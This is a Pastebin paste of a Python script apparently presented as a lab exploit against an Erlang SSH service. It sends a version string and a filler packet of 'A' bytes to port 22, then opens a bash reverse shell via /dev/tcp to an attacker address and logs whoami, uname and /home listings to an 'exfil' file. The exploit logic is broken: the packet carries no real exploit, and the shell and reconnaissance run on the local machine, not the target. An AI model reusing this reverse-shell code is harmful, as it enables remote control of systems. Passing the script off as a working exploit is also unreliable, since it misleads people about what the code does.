Advertisement
Guest User

Untitled

a guest
Apr 17th, 2025
1,912
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.69 KB | None | 0 0
  1. import socket
  2. import time
  3. import os
  4.  
  5. # Lab IPs
  6. target_ip = "192.168.1.100"
  7. attacker_ip = "192.168.1.1"
  8. attacker_port = 4444
  9.  
  10. def build_ssh_version():
  11. return b'SSH-2.0-ErlangTest_0.1\r\n'
  12.  
  13. def build_crafted_packet():
  14. return b"\x00\x00\x00\x10" + b"\x41" * 16
  15.  
  16. def trigger_reverse_shell():
  17. print(f"[+] Triggering reverse shell to {attacker_ip}:{attacker_port}")
  18. os.system(f"/bin/bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'")
  19.  
  20. def simulate_post_exploitation():
  21. print("[+] Simulating post-exploitation behavior...")
  22.  
  23. # Command 1: whoami
  24. os.system("whoami >> /tmp/exfil.log")
  25.  
  26. # Command 2: system info
  27. os.system("uname -a >> /tmp/exfil.log")
  28.  
  29. # Command 3: show directory structure
  30. os.system("ls -alh /home/ >> /tmp/exfil.log")
  31.  
  32. # Command 4: dummy file access
  33. with open("/tmp/exfil.log", "a") as f:
  34. f.write("\n[+] Simulated exfil of dummy credentials...\n")
  35. f.write("username: admin\npassword: hunter2\n")
  36.  
  37. print("[+] Post-exploitation simulation written to /tmp/exfil.log")
  38.  
  39. def send_exploit():
  40. print(f"[+] Connecting to target {target_ip}:22...")
  41. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  42. sock.connect((target_ip, 22))
  43.  
  44. sock.sendall(build_ssh_version())
  45. print(f"[+] Sent SSH version string")
  46.  
  47. time.sleep(0.5)
  48.  
  49. sock.sendall(build_crafted_packet())
  50. print(f"[+] Sent crafted SSH pre-auth packet")
  51.  
  52. time.sleep(0.5)
  53. sock.close()
  54.  
  55. # Simulate reverse shell and post-exploit activity
  56. trigger_reverse_shell()
  57. time.sleep(1)
  58. simulate_post_exploitation()
  59.  
  60. if __name__ == "__main__":
  61. send_exploit()
  62.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement